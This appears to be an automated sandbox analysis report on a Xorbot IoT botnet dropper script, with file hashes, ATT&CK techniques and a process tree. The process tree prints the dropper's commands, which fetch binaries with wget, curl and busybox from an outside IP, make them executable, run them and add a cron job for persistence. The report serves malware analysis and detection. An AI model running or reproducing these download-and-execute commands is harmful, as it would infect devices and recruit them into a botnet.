xorbot | 6f8f9e04cd9bc383e8a1c96b8b0c648aedc109e7783fb213532c4ce4ff1622e6

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30-11-2024 18:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

ec0ffe14fe481a8c4f08e2dd622a8fb3
SHA1

966e9859553fbe5400c8eba0f02018b78f434149
SHA256

6f8f9e04cd9bc383e8a1c96b8b0c648aedc109e7783fb213532c4ce4ff1622e6
SHA512

73a6817a4345934e3d0ccb4e464d1270255fa4cfc0dd70797f97e0145e2a9b02c2bb68443fd3d29f6caaa50d391ede9391e360bce3990576ce084d9c06ef376a
SSDEEP

96:cNpnbyyvRn3n6epNYYWBl+bTX7WzWHW3WsWEWAeTDHeTDHwWzWHW3WsWEWVQyYnR:cNpnbyyvTRbTX6jjNpnbyyXB

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
700	chmod
718	chmod

Executes dropped EXE 2 IoCs

Processes:

4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb

ioc	pid	Process
/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	701	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
/tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb	719	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb

Renames itself 1 IoCs

Processes:

7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb

pid	Process
720	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.4TnG0W	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhbcurlcrontabcurl

description	ioc	Process
File opened for reading	/proc/407/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/907/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/884/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/42/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/737/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/748/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/774/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/760/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/860/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/840/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/867/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/283/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/803/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/825/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/23/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/307/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/805/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/912/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/796/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/854/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/870/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/887/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/846/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/343/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/770/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/785/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/787/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/755/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/815/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/821/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/832/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/886/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/730/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/750/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/757/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/795/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/9/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/148/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/279/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/466/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/855/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/900/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/865/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/6/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/19/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/658/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/833/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/43/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/853/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/902/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/11/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/321/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/901/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/883/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/910/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/793/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/814/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/831/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/863/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/1/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
File opened for reading	/proc/744/cmdline	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	busybox
File opened for modification	/tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb	wget
File opened for modification	/tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb	curl
File opened for modification	/tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb	busybox
File opened for modification	/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	wget
File opened for modification	/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:666
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:669
- /usr/bin/wget
  wget http://216.126.231.240/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Writes file to tmp directory
  PID:674
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:691
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod 777 4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  ./4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Executes dropped EXE
  PID:701
- /bin/rm
  rm 4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  PID:704
- /usr/bin/wget
  wget http://216.126.231.240/bins/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  - Writes file to tmp directory
  PID:705
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:707
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  - Writes file to tmp directory
  PID:715
- /bin/chmod
  chmod 777 7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  ./7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:719
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:721
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:722
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:724
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:726
- /bin/rm
  rm 7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  PID:729
- /usr/bin/wget
  wget http://216.126.231.240/bins/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
  2⤵
  PID:733

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.4TnG0W

Filesize
210B

MD5
2a90cdcf02c03e2323f3c997a1993835

SHA1
cbbb10ac25059768da365b30762fdefd1db91e2f

SHA256
39637330d213093539bef2156c8a50389f04d75d7d053b522009589672df275a

SHA512
756cc383006f7aa2e70beae1ffba4e95182c173c2f3c1ef1b3045f255e7d927203f9512fcd1395caeb91ce9f7c2f9ea8e3beb9e1d405adbc7e8306661d25baad

Download Submit